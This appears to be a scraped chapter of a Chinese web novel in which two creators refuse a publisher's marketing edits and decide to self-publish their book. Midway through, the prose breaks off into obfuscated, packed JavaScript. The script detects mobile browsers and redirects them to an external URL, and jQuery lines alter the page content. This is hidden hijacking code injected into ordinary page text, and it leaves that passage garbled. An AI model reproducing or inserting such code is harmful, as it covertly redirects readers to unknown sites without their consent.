林悦的邮件在周一上午到达,语气依然专业而尊重,但内容让霜莉和鸿雁都沉默了。
“基于市场部门的进一步评估,我们建议对《豆腐山林》进行一些调整,以更好地适应目标读者群。”邮件中写道,“具体建议包括:简化部分哲学性对话,增加情节的戏剧性冲突,插图风格可以更‘亲民’一些,减少抽象表达……”
附件里是一份详细的修改清单,列出了十七处建议修改的地方。每一条都合理,都专业,都“符合市场规律”,但每一条都让霜莉和鸿雁感到心头一紧。
“你看第三条,”鸿雁指着屏幕,“‘苏寻味与叶静心的最终对话过于抽象,建议加入更具体的情感表达或情节转折’。但那段对话的抽象性正是它的力量所在啊,那是两个灵魂在深层的相遇,不是简单的情节推进。”
霜莉点头:“还有这条,‘插图风格可以更明亮鲜艳,减少水墨的灰调,以吸引更广泛的读者’。但灰调正是你想要表达的意境——那种山林间的朦胧,那种内心的微妙,那种传统的含蓄。”
她们看着这份建议清单,知道林悦是好意,出版社是专业的,市场分析可能是准确的。但这些建议指向的方向,正是她们最害怕的:为了适应更广泛的读者而稀释作品的独特性,为了追求市场成功而妥协艺术表达。
“我们可以谈判,”霜莉说,但声音里已经没有了之前的坚定,“我们可以解释为什么这些部分重要,为什么不能改。”
鸿雁摇头:“问题是,他们可能理解,但市场部门不理解。林悦是编辑,她上面还有营销、市场、管理层。即使她个人尊重我们,整个出版社的机器运转起来,压力会层层传递。”
她站起身,在工作室里踱步:“签约时我们很兴奋,觉得找到了理解我们的伙伴。但现在看来,理解是一回事,商业现实是另一回事。出版社毕竟是要盈利的,当艺术与商业冲突时,艺术往往要让步。”
霜莉看着那份修改清单,心中涌起复杂的情绪。一方面,她知道出版机会来之不易;另一方面,她更清楚《豆腐山林》的每一个字、每一幅画都是她们精心打磨的,任何改动都可能破坏整体的和谐。
“我有一个疯狂的想法。”鸿雁突然停下脚步,“我们不一定要走传统出版的路。”
霜莉抬头:“什么意思?”
“自出版。”鸿雁说,眼睛亮了起来,“我们自己设计,自己印刷,自己发行。不通过出版社,完全由我们掌控。”
这个想法太大胆,霜莉一时反应不过来:“自出版?但我们没有经验,没有资源,没有发行渠道……”
“但我们有作品,有理念,有决心。”鸿雁越说越兴奋,“而且现在技术发达,小批量印刷成本不高,网络平台可以提供销售渠道。最重要的是,我们可以完全按照自己的想法来做这本书,不需要妥协,不需要调整,不需要迎合任何人。”
霜莉思考着这个可能性。自出版确实能解决创作自主权的问题,但也意味着所有的工作都要自己承担:从编辑校对到设计排版,从印刷制作到营销发行,从客服物流到财务管理……
“这会是巨大的工作量。”她说,“我们本来时间就不多,自出版会占用大量创作时间。”
“但这是为了我们的创作本身。”鸿雁坐回她对面,“与其花时间谈判、修改、妥协,不如花时间把作品以最纯粹的形式呈现出来。而且,我们可以慢慢来,不设截止日期,不求商业成功,只求做出我们理想中的书。”
这个想法开始打动霜莉。她想象着一本完全由她们掌控的书:从内容到形式,从纸张到装帧,每一个细节都体现着她们的审美和理念。不需要向任何人解释为什么这段对话重要,为什么那幅画不能改,为什么这个设计最合适。
“但我们得先和林悦沟通。”霜莉说,“不能就这样单方面决定。毕竟我们已经签了合同。”
鸿雁点头:“当然。我们要坦诚地告诉她我们的想法和担忧,看看有没有第三种方案。如果出版社能接受不做这些修改,我们仍然可以合作。如果不能……”
“我们就自出版。”霜莉接上她的话。
她们花了整个下午准备与林悦的沟通。不是对抗性的,而是建设性的:列出她们不能妥协的核心部分,解释这些部分对作品的意义,提出可能的替代方案,同时也表达对自出版的开放态度。
周二上午的视频会议,气氛比预想的要平静。霜莉和鸿雁轮流表达了她们的顾虑,林悦认真倾听,偶尔点头。
“我理解你们的感受。”林悦在听完后说,“说实话,当我收到市场部的修改建议时,我也有些犹豫。我知道这些建议是出于商业考量,但我也知道它们可能损害作品的独特性。”
她顿了顿,继续说:“作为编辑,我的角色是桥梁——连接创作者和读者,连接艺术和商业。但有时候,这两端的要求确实难以调和。”
“所以我们的想法是,”霜莉小心地说,“如果出版社坚持这些修改,我们可能要考虑终止合作。不是不尊重你们的专业,而是我们必须保护作品的完整性。”
林悦沉默了一会儿,然后说:“我尊重你们的决定。事实上,我欣赏这种坚持。在这个行业里,太多的创作者在商业压力下妥协,最终作品失去了最初的灵魂。”
她看着屏幕上的两人:“如果你们决定自出版,我会理解。甚至,如果你们需要一些专业建议,我可以以朋友的身份提供帮助——当然是免费的,不涉及出版社利益。”
这个回应出乎霜莉和鸿雁的意料。她们原本准备面对的是失望甚至不满,没想到得到的是理解和支持。
“你真的不介意?”鸿雁问。
林悦微笑:“我进入出版行业,是因为热爱好书,热爱好故事。如果为了保护一本好书而放弃传统的出版方式,我认为这是值得尊重的选择。而且,”她眨了眨眼,“如果你们的自出版成功了,也许未来我们还能以其他形式合作。”
会议在友好的气氛中结束。林悦承诺会协助处理合同终止事宜(基于双方同意的前提),并提供了几个自出版可能需要的资源联系方式。
挂断视频后,霜莉和鸿雁相视良久,然后同时笑了——不是轻松的笑,而是释然的笑,坚定的笑。
“所以,我们真的要自出版了。”霜莉说。
“我们真的要自出版了。”鸿雁重复,语气中带着一种冒险的兴奋。
接下来的几天,她们开始了自出版的筹备工作。第一步是研究:了解小批量印刷的选项,比较不同的印刷厂,研究纸张类型和装帧方式,了解线上销售平台的规则和费用。
信息量巨大,术语陌生,选择繁多。但两人都投入了极大的热情,像是探索一片新大陆。每天晚上,工作室的地板上都摊满了纸张样品、印刷样本、成本估算表。
“看这种纸,”鸿雁拿着一份哑粉纸样本,“质感很好,适合印刷插图,但成本太高了,如果印一百本,单本成本会超过我们的定价预算。”
霜莉对比着几种纸张:“也许我们可以做两种版本?少量精装版用好的纸,定价高一些;普通平装版用实惠的纸,让更多读者能买得起。”
“好主意!”鸿雁在笔记本上记下,“精装版可以做手工编号,增加收藏价值。平装版注重内容本身,价格亲民。”
她们还讨论了设计问题。鸿雁坚持要自己设计版面,而不是交给专业设计师。“我不是不相信设计师,但我最了解我的画和你的文字如何配合。我知道哪里需要留白,哪里需要强调,哪里需要图文对话。”
霜莉同意:“而且,我们自己设计可以保持一贯的美学。从封面到内页,从字体到间距,每一个细节都体现‘食味江湖’的气质。”
最大的挑战是资金。自出版需要预付印刷费用,这对她们来说是一笔不小的开支。她们计算了各种方案:最少印多少本能保本?定价多少能既覆盖成本又让读者接受?是否需要预售来筹集资金?
“我有些积蓄,”鸿雁说,“可以拿出来作为启动资金。”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122863|195978||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
“我也有,”霜莉说,“但我们不能把所有积蓄都投进去,风险太大了。”
她们决定采取保守策略:先做小批量测试,如果反响好再考虑加印。同时开启预售,用预售资金覆盖部分印刷成本。
另一个挑战是发行。传统出版社有成熟的发行网络,自出版者则需要自己建立销售渠道。她们计划主要依靠线上平台:自己的博客、社交媒体、美食和文学类网站。同时联系几家熟悉的独立书店,看是否愿意代销。
“我们可以做一个小型的首发活动,”霜莉提议,“在我们常去的茶馆,邀请朋友和早期读者,现场签售,分享创作故事。这样既能销售,又能建立与读者的直接连接。”
鸿雁眼睛一亮:“还可以配合一些体验环节,比如品尝故事中提到的食物,尝试简单的豆腐制作。让书不只是商品,而是一次完整的文化体验。”
计划逐渐成形,细节越来越清晰。每天晚上,她们都在工作室的白板上更新进度:已完成的研究,待决定的事项,需要的资源,时间预估。
两周后,她们有了完整的自出版计划书:包括预算、时间表、分工、营销策略、风险评估。虽然不如出版社的专业,但充满了她们的个人特色和对作品的深刻理解。
周五晚上,她们在工作室里举行了简单的“自出版计划启动仪式”。没有香槟,只有两杯清茶;没有嘉宾,只有两只宠物。但仪式感十足:她们在白板上画下了整个计划的蓝图,然后在蓝图下郑重地签下了自己的名字。
“从今天起,”霜莉说,“我们不仅是创作者,也是出版人。我们要对自己的作品负责到底——从创作到呈现,从生产到传播。”
鸿雁举起茶杯:“为了纯粹,为了自主,为了勇气,为了我们理想中的《食味江湖》。”
茶杯轻碰,声音清脆。窗外,城市灯火闪烁;窗内,两个创作者开启了新的冒险。
那天深夜,霜莉在日记中写道:
“今天我们正式启动了自出版计划。放弃了传统出版的机会,选择了更艰难但更自主的道路。
“这不是一时冲动,而是深思熟虑后的决定。我们意识到,有些作品不能妥协,有些价值不能交易,有些坚持比成功更重要。
“自出版意味着所有的工作都要自己承担:设计、印刷、营销、发行……每一个环节都是挑战。但每一个环节也都是机会——机会让作品完全按照我们的设想呈现,机会与读者建立更直接的连接,机会学习全新的技能和知识。
“这可能会失败。可能会亏钱,可能会无人问津,可能会疲惫不堪。但即使失败,我们也会学到宝贵的经验,也会拥有完全属于我们的作品,也会保持创作的纯粹和友谊的真挚。
“而如果成功——不是商业上的巨大成功,而是做出了一本我们真正自豪的书,找到了一群真正懂得欣赏的读者,那将是无价的收获。
“感谢鸿雁的勇气和坚持。感谢林悦的理解和支持。感谢我们自己,在诱惑面前保持了清醒,在压力面前保持了坚定。
“现在,旅程开始了。不是别人设定的旅程,是我们自己选择的旅程。不是已知的坦途,是探索的小径。
“但至少,我们走在一起,走向我们相信的方向。
“自出版,自创造,自成长。
“为了‘食味江湖’,为了‘寻常’组合,为了创作本身,为了友谊长存。
“继续前行,带着决心,带着智慧,带着希望。
“明天,太阳照常升起,工作正式开始。
“而我们,准备好了。”
写完后,霜莉走到窗前。夜深了,城市渐渐安静,但她的心中充满了声音:印刷机的转动声,翻书的沙沙声,读者的交谈声,还有她和鸿雁讨论设计时的笑声……
这些声音交织成一首歌,一首关于创作、自主、勇气和友谊的歌。
而她,正站在这首歌的起点,与最好的伙伴一起,准备唱出第一个音符。
自出版的旅程,开始了。